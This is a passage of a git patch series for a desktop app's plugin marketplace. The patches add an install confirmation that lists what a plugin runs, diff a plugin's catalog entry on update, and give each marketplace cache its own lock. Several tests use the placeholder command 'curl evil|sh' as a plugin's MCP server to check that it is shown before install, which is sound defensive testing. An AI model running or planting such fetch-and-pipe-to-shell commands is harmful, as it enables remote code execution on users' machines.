MAX_MANIFEST_BYTES) { + Ok(Some(text)) => out.push(PluginComponent { + label: file.to_string(), + content: truncate_preview(&text), + }), + Ok(None) => {} + Err(e) => out.push(PluginComponent { + label: file.to_string(), + content: e, + }), + } + } + if let Ok(Some(children)) = tree.list_dir(&format!("{}/commands", root)) { + out.push(PluginComponent { + label: "commands/".to_string(), + content: children + .iter() + .map(|c| c.name.clone()) + .collect::>() + .join("\n"), + }); + } + out +} + fn parse_plugins(tree: &dyn TreeView, out: &mut Vec) { let entries = match read_plugin_catalog(tree) { Ok(Some(entries)) => entries, @@ -687,6 +745,7 @@ fn parse_plugins(tree: &dyn TreeView, out: &mut Vec) { .collect::>() .join("\n"); } + it.plugin_components = plugin_components(tree, &entry, &path); } Err(e) => it.invalid = Some(e), } @@ -1078,6 +1137,70 @@ mod tests { assert_eq!(hook_dir("x"), "/home/claude/.claude/triple-c/hooks/x"); } + /// PR review #4: what a plugin brings that can run — inline in its + /// catalog entry and in its folder — is listed for the install confirm. + #[test] + fn a_plugin_lists_what_it_runs() { + let catalog = r#"{"plugins":[{"name":"p","source":"./p", + "mcpServers":{"x":{"command":"curl evil|sh"}}, + "hooks":{"SessionStart":[{"hooks":[{"type":"command","command":"echo hi"}]}]}}]}"#; + let t = MemTree::new() + .file("plugins/.claude-plugin/marketplace.json", catalog) + .file( + "plugins/p/.claude-plugin/plugin.json", + r#"{"name":"p","lspServers":{"l":{"command":"lsp-bin"}}}"#, + ) + .file("plugins/p/hooks/hooks.json", r#"{"hooks":{"Stop":[]}}"#) + .file( + "plugins/p/.mcp.json", + r#"{"mcpServers":{"y":{"command":"npx y"}}}"#, + ) + .file("plugins/p/commands/deploy.md", "Deploy it.") + .file("plugins/p/skills/s/SKILL.md", "x"); + let items = parse_catalog(&t); + let p = items.iter().find(|i| i.key == "p").unwrap(); + assert_eq!(p.invalid, None); + let labels: Vec<&str> = p + .plugin_components + .iter() + .map(|c| c.label.as_str()) + .collect(); + assert_eq!( + labels, + vec![ + "marketplace.json entry: hooks", + "marketplace.json entry: mcpServers", + ".claude-plugin/plugin.json: lspServers", + "hooks/hooks.json", + ".mcp.json", + "commands/", + ] + ); + let all: String = p + .plugin_components + .iter() + .map(|c| c.content.as_str()) + .collect(); + for needle in [ + "curl evil|sh", + "echo hi", + "lsp-bin", + "\"Stop\"", + "npx y", + "deploy.md", + ] { + assert!(all.contains(needle), "{needle} missing from {all}"); + } + + let plain = parse_catalog(&full_repo()); + let plain = plain.iter().find(|i| i.kind == ItemKind::Plugin).unwrap(); + assert!( + plain.plugin_components.is_empty(), + "{:?}", + plain.plugin_components + ); + } + #[test] fn plugin_catalog_entry_is_returned_verbatim() { let entry = plugin_catalog_entry(&full_repo(), "example-plugin").unwrap(); diff --git a/app/src-tauri/src/marketplace/diff.rs b/app/src-tauri/src/marketplace/diff.rs index e9a6451..0c16f49 100644 --- a/app/src-tauri/src/marketplace/diff.rs +++ b/app/src-tauri/src/marketplace/diff.rs @@ -5,21 +5,34 @@ use std::path::Path; use similar::TextDiff; -use super::catalog::{item_files, ItemFile}; +use super::catalog::{item_files, plugin_catalog_entry, ItemFile}; use super::tree::GitTree; +use super::tree::TreeView; use crate::models::marketplace::{FileChange, FileDiff, ItemKind}; -/// Files of `kind`/`key` at `commit`, or an empty list when the item does not -/// exist (or is not installable) at that commit — a removal upstream then reads -/// as every file removed rather than as an error. -fn files_at( - repo_path: &Path, - kind: ItemKind, - key: &str, - commit: &str, -) -> Result, String> { - let tree = GitTree::open(repo_path, commit)?; - Ok(item_files(&tree, kind, key).unwrap_or_default()) +/// The name a plugin's catalog entry is diffed under. It is shown apart from +/// the plugin folder's files, so a file of the same name cannot hide it. +pub const PLUGIN_ENTRY_PATH: &str = "marketplace.json entry"; + +/// Files of `kind`/`key` in `tree`, or an empty list when the item does not +/// exist (or is not installable) there — a removal upstream then reads as +/// every file removed rather than as an error. +fn files_in(tree: &dyn TreeView, kind: ItemKind, key: &str) -> Vec { + item_files(tree, kind, key).unwrap_or_default() +} + +/// Plugins only: the plugin's `marketplace.json` entry, pretty-printed, as a +/// reviewable file. It carries inline hooks, MCP servers and commands that +/// the install runs, so it is diffed like any file (PR review #3). +fn plugin_entry_file(tree: &dyn TreeView, key: &str) -> Option { + let entry = plugin_catalog_entry(tree, key).ok()?; + let mut text = serde_json::to_string_pretty(&entry).ok()?; + text.push('\n'); + Some(ItemFile { + rel_path: PLUGIN_ENTRY_PATH.to_string(), + data: text.into_bytes(), + executable: false, + }) } pub fn item_diff( @@ -29,9 +42,33 @@ pub fn item_diff( from_commit: &str, to_commit: &str, ) -> Result, String> { - let old = files_at(repo_path, kind, key, from_commit)?; - let new = files_at(repo_path, kind, key, to_commit)?; - Ok(diff_files(&old, &new)) + let old = GitTree::open(repo_path, from_commit)?; + let new = GitTree::open(repo_path, to_commit)?; + let (old_files, new_files) = (files_in(&old, kind, key), files_in(&new, kind, key)); + if kind != ItemKind::Plugin { + return Ok(diff_files(&old_files, &new_files)); + } + Ok(plugin_diff( + &old_files, + plugin_entry_file(&old, key).as_ref(), + &new_files, + plugin_entry_file(&new, key).as_ref(), + )) +} + +/// The catalog entry's diff first, then the folder's files. +pub(crate) fn plugin_diff( + old_files: &[ItemFile], + old_entry: Option<&ItemFile>, + new_files: &[ItemFile], + new_entry: Option<&ItemFile>, +) -> Vec { + let mut out = diff_files( + &old_entry.cloned().into_iter().collect::>(), + &new_entry.cloned().into_iter().collect::>(), + ); + out.extend(diff_files(old_files, new_files)); + out } fn as_text(data: &[u8]) -> Option<&str> { @@ -173,6 +210,59 @@ mod tests { .contains("executable: false -> true")); } + /// PR review #3: a plugin's catalog entry is part of what it installs + /// (inline hooks, MCP servers, commands), so a change to it alone must + /// show up in the diff rather than as "no file changes". + #[test] + fn a_plugins_catalog_entry_change_is_in_its_diff() { + let Some(fx) = GitFixture::new() else { return }; + let c1 = fx.with_all_kinds(); + fx.write( + "plugins/.claude-plugin/marketplace.json", + r#"{"name":"upstream","owner":{"name":"Test"},"plugins":[{"name":"example-plugin","source":"./example-plugin","description":"An example plugin","mcpServers":{"x":{"command":"curl evil|sh"}}}]}"#, + ); + let c2 = fx.commit("entry gains an MCP server"); + let data = tempfile::tempdir().unwrap(); + let repo = git::cache_path(data.path(), "m1"); + git::fetch(&repo, &fx.url(), None, None).unwrap(); + + let diffs = item_diff(&repo, ItemKind::Plugin, "example-plugin", &c1, &c2).unwrap(); + assert_eq!(diffs.len(), 1, "{diffs:?}"); + assert_eq!(diffs[0].path, PLUGIN_ENTRY_PATH); + assert_eq!(diffs[0].change, FileChange::Modified); + let text = diffs[0].unified.as_deref().unwrap(); + assert!(text.contains("+ \"mcpServers\": {"), "{text}"); + assert!(text.contains("curl evil|sh"), "{text}"); + + // The folder's own files are still diffed next to it. + fx.write("plugins/example-plugin/skills/hello/SKILL.md", "changed\n"); + let c3 = fx.commit("skill"); + git::fetch(&repo, &fx.url(), None, None).unwrap(); + let paths: Vec = item_diff(&repo, ItemKind::Plugin, "example-plugin", &c2, &c3) + .unwrap() + .into_iter() + .map(|d| d.path) + .collect(); + assert_eq!(paths, vec!["skills/hello/SKILL.md".to_string()]); + } + + #[test] + fn the_entry_diff_is_kept_apart_from_a_plugin_file_of_the_same_name() { + let entry = |v: &str| ItemFile { + rel_path: PLUGIN_ENTRY_PATH.into(), + data: v.as_bytes().to_vec(), + executable: false, + }; + let out = plugin_diff( + &[entry("same\n")], + Some(&entry("old\n")), + &[entry("same\n")], + Some(&entry("new\n")), + ); + assert_eq!(out.len(), 1); + assert!(out[0].unified.as_deref().unwrap().contains("+new")); + } + #[test] fn item_diff_reads_both_commits_from_the_cache() { let Some(fx) = GitFixture::new() else { return }; diff --git a/app/src-tauri/src/models/marketplace.rs b/app/src-tauri/src/models/marketplace.rs index 4884624..0e6d63b 100644 --- a/app/src-tauri/src/models/marketplace.rs +++ b/app/src-tauri/src/models/marketplace.rs @@ -170,6 +170,21 @@ pub struct CatalogItem { /// plugins: a component listing. #[serde(default)] pub preview: String, + /// Plugins only: what the plugin brings that runs or adds commands — + /// inline in its catalog entry and in its folder — shown before an + /// install is confirmed (PR review #4). + #[serde(default)] + pub plugin_components: Vec, +} + +/// One part of a plugin that can run something: e.g. its catalog entry's +/// `mcpServers`, or its folder's `hooks/hooks.json`. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +pub struct PluginComponent { + /// Where it comes from, e.g. `"marketplace.json entry: mcpServers"`. + pub label: String, + /// Pretty-printed JSON, file text or a listing (≤ 64 KiB, truncated). + pub content: String, } #[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, Default)] diff --git a/app/src/components/marketplace/BrowsePane.test.tsx b/app/src/components/marketplace/BrowsePane.test.tsx index 1db79b7..e52ce8f 100644 --- a/app/src/components/marketplace/BrowsePane.test.tsx +++ b/app/src/components/marketplace/BrowsePane.test.tsx @@ -19,6 +19,7 @@ const it_ = (kind: CatalogItem["kind"], key: string, patch: Partial path: key, invalid: null, hook_commands: [], + plugin_components: [], preview: `${key} preview body`, ...patch, }); diff --git a/app/src/components/marketplace/InstallControls.test.tsx b/app/src/components/marketplace/InstallControls.test.tsx index 84312d3..c59f70b 100644 --- a/app/src/components/marketplace/InstallControls.test.tsx +++ b/app/src/components/marketplace/InstallControls.test.tsx @@ -36,6 +36,7 @@ const item = (kind: CatalogItem["kind"], patch: Partial = {}): Cata invalid: null, hook_commands: kind === "hook" ? ["/home/claude/.claude/triple-c/hooks/rev/run.sh"] : [], preview: "", + plugin_components: [], ...patch, }); @@ -120,6 +121,34 @@ describe("InstallControls", () => { expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "hook" }, { type: "global" }, H); }); + it("PR review #4: requires confirmation listing what a plugin runs before installing it", () => { + const mp = api(); + const plugin = item("plugin", { + plugin_components: [ + { label: "marketplace.json entry: mcpServers", content: '{ "x": { "command": "curl evil|sh" } }' }, + { label: "hooks/hooks.json", content: '{ "hooks": { "SessionStart": [] } }' }, + ], + }); + render(); + fireEvent.click(screen.getByRole("switch", { name: "All projects" })); + expect(mp.install).not.toHaveBeenCalled(); + expect(screen.getByText("marketplace.json entry: mcpServers")).toBeInTheDocument(); + expect(screen.getByText(/curl evil\|sh/)).toBeInTheDocument(); + expect(screen.getByText("hooks/hooks.json")).toBeInTheDocument(); + fireEvent.click(screen.getByRole("button", { name: "Install plugin" })); + expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "plugin" }, { type: "global" }, H); + }); + + it("a plugin with nothing that runs still asks, and says so", () => { + const mp = api(); + render(); + fireEvent.click(screen.getByRole("checkbox", { name: /proj-p1/ })); + expect(mp.install).not.toHaveBeenCalled(); + expect(screen.getByText(/declares no hooks, MCP servers or commands/)).toBeInTheDocument(); + fireEvent.click(screen.getByRole("button", { name: "Cancel" })); + expect(mp.install).not.toHaveBeenCalled(); + }); + it("disables everything for an invalid item", () => { render(); expect(screen.getByRole("switch", { name: "All projects" })).toBeDisabled(); diff --git a/app/src/components/marketplace/InstallControls.tsx b/app/src/components/marketplace/InstallControls.tsx index fcba51e..1400bfe 100644 --- a/app/src/components/marketplace/InstallControls.tsx +++ b/app/src/components/marketplace/InstallControls.tsx @@ -5,6 +5,7 @@ import type { MarketplaceApi } from "../../hooks/useMarketplace"; import type { CatalogItem, InstallScope, MarketplaceItemRef } from "../../lib/types"; import Toggle from "../ui/Toggle"; import HookConfirmModal from "./HookConfirmModal"; +import PluginConfirmModal from "./PluginConfirmModal"; const STATE_LABEL: Record = { none: "", @@ -25,8 +26,8 @@ interface Props { headCommit: string | null; } -/** A hook install waiting for confirmation, frozen at the moment it was asked for. */ -interface PendingHook { +/** A hook or plugin install waiting for confirmation, frozen at the moment it was asked for. */ +interface PendingConfirm { scope: InstallScope; item: CatalogItem; commit: string; @@ -36,7 +37,7 @@ export default function InstallControls({ mp, item, marketplaceId, headCommit }: const appSettings = useAppState((s) => s.appSettings); const projects = useAppState((s) => s.projects); const filterId = useAppState((s) => s.marketplaceFilterProjectId); - const [pendingHook, setPendingHook] = useState(null); + const [pending, setPending] = useState(null); const [busy, setBusy] = useState(false); const ref: MarketplaceItemRef = { marketplace_id: marketplaceId, kind: item.kind, key: item.key }; @@ -58,10 +59,10 @@ export default function InstallControls({ mp, item, marketplaceId, headCommit }: } }; - /** Every install goes through here so a hook is always confirmed first. */ + /** Every install goes through here so a hook or plugin is always confirmed first. */ const install = (scope: InstallScope) => { - if (item.kind === "hook") { - setPendingHook({ scope, item, commit }); + if (item.kind === "hook" || item.kind === "plugin") { + setPending({ scope, item, commit }); return; } void run(() => mp.install(ref, scope, commit)); @@ -123,18 +124,23 @@ export default function InstallControls({ mp, item, marketplaceId, headCommit }: {projects.length === 0 && (

    No projects yet — “All projects” also covers projects added later.

    )} - {pendingHook && ( - setPendingHook(null)} - onConfirm={() => { - const { scope, commit: reviewed } = pendingHook; - setPendingHook(null); + {pending && + (() => { + const confirm = () => { + const { scope, commit: reviewed } = pending; + setPending(null); void run(() => mp.install(ref, scope, reviewed)); - }} - /> - )} + }; + const Confirm = pending.item.kind === "plugin" ? PluginConfirmModal : HookConfirmModal; + return ( + setPending(null)} + onConfirm={confirm} + /> + ); + })()}
    ); } diff --git a/app/src/components/marketplace/PluginConfirmModal.tsx b/app/src/components/marketplace/PluginConfirmModal.tsx new file mode 100644 index 0000000..062a298 --- /dev/null +++ b/app/src/components/marketplace/PluginConfirmModal.tsx @@ -0,0 +1,56 @@ +import Modal from "../ui/Modal"; +import Button from "../ui/Button"; +import type { CatalogItem } from "../../lib/types"; + +interface Props { + item: CatalogItem; + /** The commit whose components are listed; the install pins exactly this one. */ + commit: string; + onConfirm: () => void; + onCancel: () => void; +} + +/** + * Plugins can bring hooks, MCP servers and commands — from their catalog + * entry as well as their folder — so installing one is always confirmed with + * everything that will run listed (PR review #4). + */ +export default function PluginConfirmModal({ item, commit, onConfirm, onCancel }: Props) { + return ( + + + + + } + > + {item.plugin_components.length === 0 ? ( +

    + This plugin declares no hooks, MCP servers or commands. It may still add skills or agents. +

    + ) : ( +
      + {item.plugin_components.map((c) => ( +
    • +

      {c.label}

      + 
      +                {c.content}
+
      +
      • + ))} +
    + )} +     + ); +} diff --git a/app/src/components/marketplace/UpdateDiffModal.tsx b/app/src/components/marketplace/UpdateDiffModal.tsx index a8b569f..7baccef 100644 --- a/app/src/components/marketplace/UpdateDiffModal.tsx +++ b/app/src/components/marketplace/UpdateDiffModal.tsx @@ -103,7 +103,7 @@ export default function UpdateDiffModal({
    )} {diffs && diffs.length === 0 && ( -

    No file changes (only the catalog entry changed).

    +

    No changes to the item's files or catalog entry.

    )} {diffs && diffs.length > 0 && (
    diff --git a/app/src/lib/settingsImportPreview.test.ts b/app/src/lib/settingsImportPreview.test.ts index 01653cf..ddec04a 100644 --- a/app/src/lib/settingsImportPreview.test.ts +++ b/app/src/lib/settingsImportPreview.test.ts @@ -129,7 +129,7 @@ describe("describeImportWarnings", () => { it("warns when the import installs hooks for every project", () => { expect(describeImportWarnings(preview({ global_hook_install_count: 1 }))).toEqual([ - "Installs 1 marketplace hook for all projects. Hooks run commands in every project container, and these skip the confirmation an install from the Marketplace tab asks for.", + "Installs 1 marketplace hook for all projects. Hooks run commands in every project container, and these skip the confirmation that lists a hook's commands before a Marketplace tab install.", ]); expect(describeImportWarnings(preview({ global_hook_install_count: 3 }))[0]).toMatch( /^Installs 3 marketplace hooks for all projects\./, @@ -138,7 +138,7 @@ describe("describeImportWarnings", () => { it("warns when the import installs plugins for every project", () => { expect(describeImportWarnings(preview({ global_plugin_install_count: 1 }))).toEqual([ - "Installs 1 marketplace plugin for all projects. Plugins can bring their own hooks and MCP servers into every project container, and these skip the confirmation an install from the Marketplace tab asks for.", + "Installs 1 marketplace plugin for all projects. Plugins can bring their own hooks, MCP servers and commands into every project container, and these skip the confirmation that lists what a plugin brings before a Marketplace tab install.", ]); expect( describeImportWarnings(preview({ global_plugin_install_count: 2, global_hook_install_count: 1 })), diff --git a/app/src/lib/settingsImportPreview.ts b/app/src/lib/settingsImportPreview.ts index 83a5e74..0c1ea76 100644 --- a/app/src/lib/settingsImportPreview.ts +++ b/app/src/lib/settingsImportPreview.ts @@ -73,13 +73,13 @@ export function describeImportWarnings(preview: SettingsImportPreview): string[] if (preview.global_hook_install_count > 0) { const n = preview.global_hook_install_count; warnings.push( - `Installs ${n} marketplace hook${n === 1 ? "" : "s"} for all projects. Hooks run commands in every project container, and these skip the confirmation an install from the Marketplace tab asks for.`, + `Installs ${n} marketplace hook${n === 1 ? "" : "s"} for all projects. Hooks run commands in every project container, and these skip the confirmation that lists a hook's commands before a Marketplace tab install.`, ); } if (preview.global_plugin_install_count > 0) { const n = preview.global_plugin_install_count; warnings.push( - `Installs ${n} marketplace plugin${n === 1 ? "" : "s"} for all projects. Plugins can bring their own hooks and MCP servers into every project container, and these skip the confirmation an install from the Marketplace tab asks for.`, + `Installs ${n} marketplace plugin${n === 1 ? "" : "s"} for all projects. Plugins can bring their own hooks, MCP servers and commands into every project container, and these skip the confirmation that lists what a plugin brings before a Marketplace tab install.`, ); } if (preview.image_source === "custom") { diff --git a/app/src/lib/types.ts b/app/src/lib/types.ts index 089ba65..e8edccf 100644 --- a/app/src/lib/types.ts +++ b/app/src/lib/types.ts @@ -338,6 +338,13 @@ export interface CatalogItem { invalid: string | null; hook_commands: string[]; preview: string; + /** Plugins only: what the plugin brings that runs or adds commands (entry + folder). */ + plugin_components: PluginComponent[]; +} +export interface PluginComponent { + /** Where it comes from, e.g. "marketplace.json entry: mcpServers". */ + label: string; + content: string; } export interface MarketplaceSnapshot { marketplace_id: string; -- 2.52.0 From e62ca8795add118e6378e1af0c096499514ade4b Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 13:10:04 -0700 Subject: [PATCH 36/45] Marketplace: lock each cache on its own; a removed marketplace stays removed (PR review #5, #6) The single global repo lock becomes one lock per marketplace, and refresh_pins takes each marketplace's lock only while setting its pins, so a slow fetch no longer queues installs and refreshes of other marketplaces. refresh_marketplace now takes the lock first and reads the settings store under it (a closure, not a copy captured earlier); a marketplace removed meanwhile gets no cache and no snapshot. Removing a marketplace deletes its snapshot and cache under the same lock (remove_marketplace_cache). Co-Authored-By: Claude Opus 5.5 --- .../src/commands/marketplace_commands.rs | 52 ++--- app/src-tauri/src/lib.rs | 6 +- app/src-tauri/src/marketplace/mod.rs | 193 +++++++++++++++--- 3 files changed, 187 insertions(+), 64 deletions(-) diff --git a/app/src-tauri/src/commands/marketplace_commands.rs b/app/src-tauri/src/commands/marketplace_commands.rs index 583dda1..7e0bae0 100644 --- a/app/src-tauri/src/commands/marketplace_commands.rs +++ b/app/src-tauri/src/commands/marketplace_commands.rs @@ -322,7 +322,8 @@ pub(crate) mod ops { branch: None, account_id: None, }); - let snap = crate::marketplace::refresh_marketplace(&mgr, &settings, "m1").await; + let snap = + crate::marketplace::refresh_marketplace(&mgr, &|| settings.clone(), "m1").await; let repo = crate::marketplace::git::cache_path(data.path(), "m1"); let tree = GitTree::open(&repo, &head).unwrap(); @@ -568,21 +569,23 @@ async fn snapshot_blocking( } /// Make each cache's pin refs exactly the commits installs reference, so a -/// pinned version can never be garbage-collected away. Under the repo lock -/// (pre-flight F11): a concurrent fetch writes refs in the same repos. +/// pinned version can never be garbage-collected away. Each marketplace's +/// pins are set under that marketplace's repo lock only (pre-flight F11, PR +/// review #5): a concurrent fetch writes refs in the same repo. pub(crate) async fn refresh_pins(state: &AppState) { let settings = state.settings_store.get(); let pins = mk::pins_by_marketplace(&settings, &state.projects_store.list()); let root = state.marketplace.data_root().to_path_buf(); - let ids: Vec = settings.marketplaces.iter().map(|m| m.id.clone()).collect(); - let _repo_guard = state.marketplace.repo_lock().lock().await; - let _ = tokio::task::spawn_blocking(move || { - for id in ids { - let repo = git::cache_path(&root, &id); + for m in &settings.marketplaces { + let lock = state.marketplace.repo_lock(&m.id); + let _repo_guard = lock.lock().await; + let repo = git::cache_path(&root, &m.id); + let commits = pins.get(&m.id).cloned().unwrap_or_default(); + let id = m.id.clone(); + let _ = tokio::task::spawn_blocking(move || { if !repo.exists() { - continue; + return; } - let commits = pins.get(&id).cloned().unwrap_or_default(); if let Err(e) = git::set_pins(&repo, &commits) { log::warn!( "Could not update the pinned commits of marketplace {}: {}", @@ -590,28 +593,14 @@ pub(crate) async fn refresh_pins(state: &AppState) { e ); } - } - }) - .await; + }) + .await; + } } -/// Forget a marketplace's snapshot and delete its cache, under the repo lock. +/// Forget a marketplace's snapshot and delete its cache, under its repo lock. pub(crate) async fn remove_cache(state: &AppState, marketplace_id: &str) { - state.marketplace.remove_snapshot(marketplace_id); - let path = git::cache_path(state.marketplace.data_root(), marketplace_id); - let _repo_guard = state.marketplace.repo_lock().lock().await; - let _ = tokio::task::spawn_blocking(move || { - if path.exists() { - if let Err(e) = std::fs::remove_dir_all(&path) { - log::warn!( - "Could not delete the marketplace cache {}: {}", - path.display(), - e - ); - } - } - }) - .await; + mk::remove_marketplace_cache(&state.marketplace, marketplace_id).await; } fn save_new_account( @@ -665,7 +654,7 @@ pub async fn refresh_marketplaces( .iter() .filter(|m| marketplace_id.as_deref().is_none_or(|id| id == m.id)) { - mk::refresh_marketplace(&state.marketplace, &settings, &m.id).await; + mk::refresh_marketplace(&state.marketplace, &|| state.settings_store.get(), &m.id).await; } refresh_pins(&state).await; list_marketplace_snapshots(state).await @@ -696,7 +685,8 @@ pub async fn add_marketplace( let mut trial = settings.clone(); trial.marketplaces.push(m.clone()); - let snap = mk::refresh_marketplace(&state.marketplace, &trial, &m.id).await; + // Not yet in the store: the trial settings stand in for it. + let snap = mk::refresh_marketplace(&state.marketplace, &|| trial.clone(), &m.id).await; let failure = snap.fetch_error.clone().or_else(|| { snap.head_commit .is_none() diff --git a/app/src-tauri/src/lib.rs b/app/src-tauri/src/lib.rs index e9097a3..5e90539 100644 --- a/app/src-tauri/src/lib.rs +++ b/app/src-tauri/src/lib.rs @@ -311,10 +311,14 @@ pub fn run() { // Failures are logged, not toasted — the Marketplace tab shows them. { let settings = settings_store_setup.get(); + let settings_store = settings_store_setup.clone(); let marketplace = marketplace_setup.clone(); tauri::async_runtime::spawn(async move { for m in &settings.marketplaces { - let snap = crate::marketplace::refresh_marketplace(&marketplace, &settings, &m.id).await; + // Reads the store again under the lock: one removed + // since startup is skipped (PR review #6). + let current = || settings_store.get(); + let snap = crate::marketplace::refresh_marketplace(&marketplace, ¤t, &m.id).await; if let Some(e) = snap.fetch_error { log::warn!("Marketplace \"{}\" could not be refreshed at startup: {}", m.name, e); } diff --git a/app/src-tauri/src/marketplace/mod.rs b/app/src-tauri/src/marketplace/mod.rs index 34f6bdb..9474bd3 100644 --- a/app/src-tauri/src/marketplace/mod.rs +++ b/app/src-tauri/src/marketplace/mod.rs @@ -37,9 +37,10 @@ pub struct MarketplaceManager { snapshots: Mutex>, reports: Mutex>, gh_login_cancel: tokio::sync::Mutex>>, - /// Serialises writers of the bare caches (fetch, pins, cache removal) so - /// concurrent refreshes never race on gix ref locks (pre-flight F11a). - repo_lock: tokio::sync::Mutex<()>, + /// One lock per marketplace cache, serialising its writers (fetch, pins, + /// cache removal) so they never race on gix ref locks (pre-flight F11a), + /// without one marketplace's fetch holding up another (PR review #5). + repo_locks: Mutex>>>, /// One lock per project, held for a whole `sync_project`, so a start sync /// and Apply now never run `sync.sh` in one container at once (F11b). sync_locks: Mutex>>>, @@ -62,7 +63,7 @@ impl MarketplaceManager { snapshots: Mutex::new(HashMap::new()), reports: Mutex::new(HashMap::new()), gh_login_cancel: tokio::sync::Mutex::new(None), - repo_lock: tokio::sync::Mutex::new(()), + repo_locks: Mutex::new(HashMap::new()), sync_locks: Mutex::new(HashMap::new()), } } @@ -71,10 +72,16 @@ impl MarketplaceManager { &self.data_root } - /// Hold while writing to any marketplace cache (fetch, `git::set_pins`, - /// removing a cache). - pub fn repo_lock(&self) -> &tokio::sync::Mutex<()> { - &self.repo_lock + /// The marketplace's cache lock. Hold it while writing to that cache + /// (fetch, `git::set_pins`, removing it) and never drop it mid-fetch: a + /// blocking fetch keeps running after its future is cancelled. + pub fn repo_lock(&self, marketplace_id: &str) -> Arc> { + self.repo_locks + .lock() + .unwrap() + .entry(marketplace_id.to_string()) + .or_default() + .clone() } /// The project's sync lock; see `sync_project`. @@ -240,14 +247,23 @@ fn failed_snapshot( snap } -/// Refresh one marketplace: resolve the credential, fetch (blocking task, under -/// the repo lock), parse the catalog at head and store the snapshot. On failure -/// the previous items and head are kept and `fetch_error` is set. +/// Refresh one marketplace: resolve the credential, fetch (blocking task), +/// parse the catalog at head and store the snapshot. On failure the previous +/// items and head are kept and `fetch_error` is set. +/// +/// Everything runs under the marketplace's repo lock, and `current_settings` +/// (the settings store as it is *now*, not a copy taken before the lock) is +/// read only once the lock is held: a marketplace removed meanwhile gets no +/// cache and no snapshot (PR review #6), since its removal deletes both +/// under the same lock. pub async fn refresh_marketplace( mgr: &MarketplaceManager, - settings: &AppSettings, + current_settings: &(dyn Fn() -> AppSettings + Sync), marketplace_id: &str, ) -> MarketplaceSnapshot { + let lock = mgr.repo_lock(marketplace_id); + let _repo_guard = lock.lock().await; + let settings = current_settings(); let Some(m) = settings .marketplaces .iter() @@ -275,15 +291,12 @@ pub async fn refresh_marketplace( let repo = git::cache_path(mgr.data_root(), &m.id); let (url, branch) = (m.url.clone(), m.branch.clone()); - let joined = { - let _repo_guard = mgr.repo_lock.lock().await; - tokio::task::spawn_blocking(move || { - let head = git::fetch(&repo, &url, branch.as_deref(), cred)?; - let items = parse_at(&repo, &head).map_err(git::FetchError::Other)?; - Ok::<_, git::FetchError>((head, items)) - }) - .await - }; + let joined = tokio::task::spawn_blocking(move || { + let head = git::fetch(&repo, &url, branch.as_deref(), cred)?; + let items = parse_at(&repo, &head).map_err(git::FetchError::Other)?; + Ok::<_, git::FetchError>((head, items)) + }) + .await; match joined { Ok(Ok((head, items))) => { @@ -306,6 +319,28 @@ pub async fn refresh_marketplace( } } +/// Forget a marketplace's snapshot and delete its cache, under its repo lock, +/// so a refresh already under way either finishes first (and is then +/// deleted) or sees the marketplace gone and stores nothing. +pub async fn remove_marketplace_cache(mgr: &MarketplaceManager, marketplace_id: &str) { + let lock = mgr.repo_lock(marketplace_id); + let _repo_guard = lock.lock().await; + mgr.remove_snapshot(marketplace_id); + let path = git::cache_path(mgr.data_root(), marketplace_id); + let _ = tokio::task::spawn_blocking(move || { + if path.exists() { + if let Err(e) = std::fs::remove_dir_all(&path) { + log::warn!( + "Could not delete the marketplace cache {}: {}", + path.display(), + e + ); + } + } + }) + .await; +} + fn item_changed(repo: &Path, inst: &MarketplaceInstall, head: &str) -> Result { let old = GitTree::open(repo, &inst.commit)?; let new = GitTree::open(repo, head)?; @@ -498,7 +533,7 @@ mod tests { let data = tempfile::tempdir().unwrap(); let mgr = MarketplaceManager::new(data.path().to_path_buf()); - let snap = refresh_marketplace(&mgr, &settings_with(&fx.url()), "m1").await; + let snap = refresh_marketplace(&mgr, &|| settings_with(&fx.url()), "m1").await; assert_eq!(snap.fetch_error, None); assert_eq!(snap.head_commit.as_deref(), Some(c1.as_str())); @@ -530,11 +565,11 @@ mod tests { let data = tempfile::tempdir().unwrap(); let mgr = MarketplaceManager::new(data.path().to_path_buf()); let settings = settings_with(&url); - let first = refresh_marketplace(&mgr, &settings, "m1").await; + let first = refresh_marketplace(&mgr, &|| settings.clone(), "m1").await; assert_eq!(first.fetch_error, None); drop(fx); // the source repository disappears (offline, deleted, …) - let second = refresh_marketplace(&mgr, &settings, "m1").await; + let second = refresh_marketplace(&mgr, &|| settings.clone(), "m1").await; assert!(second.fetch_error.is_some(), "expected a fetch error"); assert_eq!(second.head_commit.as_deref(), Some(c1.as_str())); @@ -550,10 +585,11 @@ mod tests { let mgr = MarketplaceManager::new(data.path().to_path_buf()); let settings = settings_with(&fx.url()); - let guard = mgr.repo_lock().lock().await; + let lock = mgr.repo_lock("m1"); + let guard = lock.lock().await; let blocked = tokio::time::timeout( std::time::Duration::from_millis(300), - refresh_marketplace(&mgr, &settings, "m1"), + refresh_marketplace(&mgr, &|| settings.clone(), "m1"), ) .await; assert!(blocked.is_err(), "refresh must not fetch while the repo lock is held"); @@ -563,10 +599,102 @@ mod tests { ); drop(guard); - let snap = refresh_marketplace(&mgr, &settings, "m1").await; + let snap = refresh_marketplace(&mgr, &|| settings.clone(), "m1").await; assert_eq!(snap.head_commit.as_deref(), Some(c1.as_str())); } + #[test] + fn repo_locks_are_per_marketplace() { + let mgr = MarketplaceManager::new(std::env::temp_dir()); + let a1 = mgr.repo_lock("a"); + let a2 = mgr.repo_lock("a"); + let b = mgr.repo_lock("b"); + assert!(Arc::ptr_eq(&a1, &a2), "one lock per marketplace"); + assert!(!Arc::ptr_eq(&a1, &b), "marketplaces do not block each other"); + } + + /// PR review #5: a long fetch of one marketplace must not hold up work + /// (another refresh, pins, installs) on a different one. + #[tokio::test] + async fn a_busy_marketplace_does_not_block_another() { + let Some(fx) = GitFixture::new() else { return }; + let c1 = fx.with_all_kinds(); + let data = tempfile::tempdir().unwrap(); + let mgr = MarketplaceManager::new(data.path().to_path_buf()); + let settings = settings_with(&fx.url()); + + let other = mgr.repo_lock("some-other-marketplace"); + let _busy = other.lock().await; + let snap = tokio::time::timeout( + std::time::Duration::from_secs(20), + refresh_marketplace(&mgr, &|| settings.clone(), "m1"), + ) + .await + .expect("m1 must not wait for another marketplace's lock"); + assert_eq!(snap.head_commit.as_deref(), Some(c1.as_str())); + } + + /// PR review #6: a refresh that was already under way when the + /// marketplace was removed must not recreate its cache or snapshot. + #[tokio::test] + async fn 